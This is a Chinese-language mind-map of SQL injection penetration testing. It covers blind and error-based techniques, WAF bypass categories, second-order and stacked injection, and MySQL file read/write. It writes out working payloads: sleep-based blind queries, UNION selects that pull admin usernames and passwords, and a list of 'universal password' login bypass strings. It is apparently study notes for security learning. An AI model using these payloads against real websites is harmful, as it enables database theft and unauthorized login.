- SQL
- 危害
- 危害数据库里的数据
- 直接危害到网站的权限(需要满足条件)
- WEB源码
- 目录结构
- 后台目录
- 模板目录
- 数据库目录
- 数据库配置文件
- .........
- 脚本类型
- ASP
- PHP
- ASPX
- JSP
- JAVAWEB
- Python
- ..........
- 应用分类
- 门户
- 电商
- 论坛
- 博客
- 第三方
- 其他
- 其他补充
- 框架或非框架
- CMS识别
- 开源或内部
- 开源-直接找漏洞或审计
- 内部-常规渗透测试
- 源码获取
- ............
- 目录结构
- 回显/盲注
- 回显注入
-
- floor
- updatexml
- extractvalue
-
- 无回显注入
- regexp,like,ascii,left,ord,mid
- 延时盲注
- if,sleep(不需要回显信息就能看到)
- and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0)--+
- if,sleep(不需要回显信息就能看到)
- 布尔盲注
- 猜取版本号
- 判断数据库长度
- 回显注入
- WAF绕过-SQL注入
- 数据
- 解密编码类
- 等价函数替换
- 大小写混合
- 特殊符号混用
- 反序列化
- 注释符混用
- 方式
- 更改提交方式
- 变异
- 其他
- Fuzz大法
- 数据库特性
- 垃圾数据溢出
- HTTP参数污染
- ...............
- 数据
- 防御方案
- 代码加载过滤
- WAF产品部署
- ............
- 注入扩展
- 加解密注入
- 注入时注意编码注入
- JSON注入
- LADP注入
- DNSlog注入
- 工具地址
- DNSlog:解决了盲注不能回显数据,效率低的问题。
- 工具地址
- 二次注入
- 二次注入无法通过扫描工具或者代码自己手工测试出来的,二次注入一般会产生在网站程序源代码才会发现的注入漏洞,从前端或者黑盒测试是看不到这个漏洞。
- 二次注入原理
- 1.第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容。
- 2.在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。
- 二次注入原理
- 二次注入无法通过扫描工具或者代码自己手工测试出来的,二次注入一般会产生在网站程序源代码才会发现的注入漏洞,从前端或者黑盒测试是看不到这个漏洞。
- 堆叠查询
- 堆叠可以看到应该是一堆sql语句(多条)一起执行
- 堆叠注入的局限性
- 在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎的不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些数据。
- .........
- 加解密注入
- 基本语句意思
- information_schema.tables:记录所有表名信息的表information_schema.columns:记录所有列名信息的表table_name:表名column_name:列名table_schema:数据库名
- MYSQL注入
- 信息收集
- 操作系统
- 数据库名
- 数据库版本
- 其他(网络路径等)
- 路径获取常见方法
- 报错显示:一般网站出现错误的时候它会泄露出路径遗留文件:站长为了调试信息的时候遗留的文件而泄露的路径。用扫描工具可以扫出漏洞报错:知道对方是用什么程序搭建再去网上去搜索漏洞信息:phpcms 爆路径平台配置文件:通过读取文件来读取搭建网站平台的配置文件。缺点:路径不是默认的,一旦更改很难找到路径爆破:
- 路径获取常见方法
- 数据注入
- 同数据库
- 低版本
- 高版本
- 同数据库
- 高权限注入
- 常规查询
- 数据库查询
- root在MYSQL数据库中属于最高权限,除root之外其他都简称为为普通用户权限不是root权限获取不到数据库名
- 文件读写
- 存在魔术引号
- 编码或字节绕过
- 不存在魔术引导
- 文件读写操作
- MySQL数据库里两个内置函数,这两个函数是MySQL数据库特有的。MySQL有内置读取的操作函数,我们可以调用这个函数作为注入的攻击。load_file():读取函数into outfile 或 into dumpfile:导出函数
- 存在魔术引号
- 跨库查询及应用思路
- information_schema表特性,记录库名,表名,列名对应表通过select * from schemata; 进行数据库名查询,再去选择进行查询获取指明数据库里的数据获取数据库名:http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from infomation_shcema.schemata
- 相关防注入
- 自带防御:魔术引导
- 内置函数:int等
- 自定义关键字:select
- WAF防护软件:安全狗,宝塔等
- 信息收集
- 如何判断有无注入点
- and 1=1 页面正常and 1=2 页面错误可能存在注入点
- SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1 正常SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1 错误
- SELECT * FROM users WHERE id=1 真1=1 真1=2 假
- SELECT * FROM users WHERE id=1 or 1=1 LIMIT 0,1 正常SELECT * FROM users WHERE id=1 or 1=2 LIMIT 0,1 正常不能用or判断
- SELECT * FROM users WHERE id=1asdsadsad(随便输入) LIMIT 0,1随便输入后对网页有影响说明带入数据库进行查询有注入点,没有影响说明没有带入数据库查询,出现404错误说明对输入检测没有漏洞
- 数据库类型
- Access
- access 表名 列名 数据access数据库保存在网站源码下面,自己网站数据库独立存在,没有文件读写的操作
- 表名
- new_list.asp?id=-1 union select 1,2,3,4 from admin
- 列名
- new_list.asp?id=-1 union select username,passwd,3,4 from admin
- 表名
- access 表名 列名 数据access数据库保存在网站源码下面,自己网站数据库独立存在,没有文件读写的操作
- Mysql
- Mssql
- Oracle
- Postsql
- SQLite
- Mongodb
- .....
- Access
- 提交方法
- GET
- GET方法无法接收POST的值
- POST
- 在POST情况下GET的值只要在网址后面就能接收
- 以POST请求去测试网页,网页界面是一样的,那么表示这两个参数均以POST方式去提交
- COOKIE
- REQUEST
- REQUEST全部接收
- HTTP头
- .........
- GET
- $_SERVER
- $_SERVER是PHP里内置变量,全局变量,PHP写脚本时用它来获取系统的值,在数据包的某一个地方可以进行注入详细介绍
- SQL语句干扰符号
- ' , " , % , ) ,} 等,具体需看写法
- 数据类型
- 数字型
- 如果是数字的话可能不存在单引号
- 对方在数字上加单引号也是有可能的,要看对方的写法
- 字符型
- 一般是采用单引号如果参数是字符的话那肯定是有单引号的
- 即使有注入也会带入单引号里,产生不了任何作用,所以我们要做的前提是先要把它的符号闭合掉
- 搜索型
- 将数据进行搜索并进行展示,搜索符号是%,在过滤的时候要过滤单引号和百分号,不然你的语句全部在单引号和百分号里JSON等
- 数字型
- 查询方式
- select
- select 查询数据
- 在网站应用中进行数据显示查询效果例: select * from news wher id=$id
- select 查询数据
- insert
- insert 插入数据
- 在网站应用中进行用户注册添加等操作例:insert into news(id,url,text) values(2,'x','$t')
- insert 插入数据
- delete
- delete 删除数据
- 后台管理里面删除文章删除用户等操作例:delete from news where id=$id
- delete 删除数据
- update
- update 更新数据
- 会员或后台中心数据同步或缓存等操作例:update user set pwd='$p' where id=2 and username='admin'
- update 更新数据
- order by
- order by 排列数据
- 一般结合表名或列名进行数据排序操作例:select * from news order by $id例:select id,name,price from news order by $order
- order by 排列数据
- ............
- select
- sql手工注入常用语句
- 普通语句
- schema_name——数据库名;table_name——表名;column_name——字段名;
- 查询数据库
- select schema_name from information_schema.schemata#slelect database()#
- 查询数据库表
- select table_name from information_schema.tables where table_schema='数据库名'#
- 查询字段名
- select column_name from infromation_schema.columns where table_name='表名'#
- 查询字段内容
- select * from 表名#
- SELECT * FROM Persons WHERE City NOT LIKE '%lon%'
- select * from 表名#
- 普通语句
- 万能密码
- 原理
- 用户进行用户名和密码验证时,网站需要查询数据库。查询数据库就是执行SQL语句。针对此BBS论坛,当用户登录时,后台执行的数据库查询操作(SQL语句)是【Select user_id,user_type,email From users Where user_id=‘用户名’ And password=‘密码’】。
- asp aspx万能密码
- 1:”or “a”=”a2: ‘)or(‘a’=’a3:or 1=1–4:’or 1=1–5:a’or’ 1=1–6:”or 1=1–7:’or’a’=’a8:”or”=”a’=’a9:’or”=’10:’or’=’or’11: 1 or ‘1’=’1’=112: 1 or ‘1’=’1’ or 1=113: ‘OR 1=1%0014: “or 1=1%0015: ‘xor16: 用户名 ’ UNION Select 1,1,1 FROM admin Where ”=’ (替换表名admin)密码 117…admin’ or ‘a’=’a 密码随便
- PHP万能密码
- ‘or 1=1/*User: somethingPass: ’ OR ‘1’=’1
- jsp 万能密码
- 1’or’1’=’1admin’ OR 1=1/*
- 原理
- 危害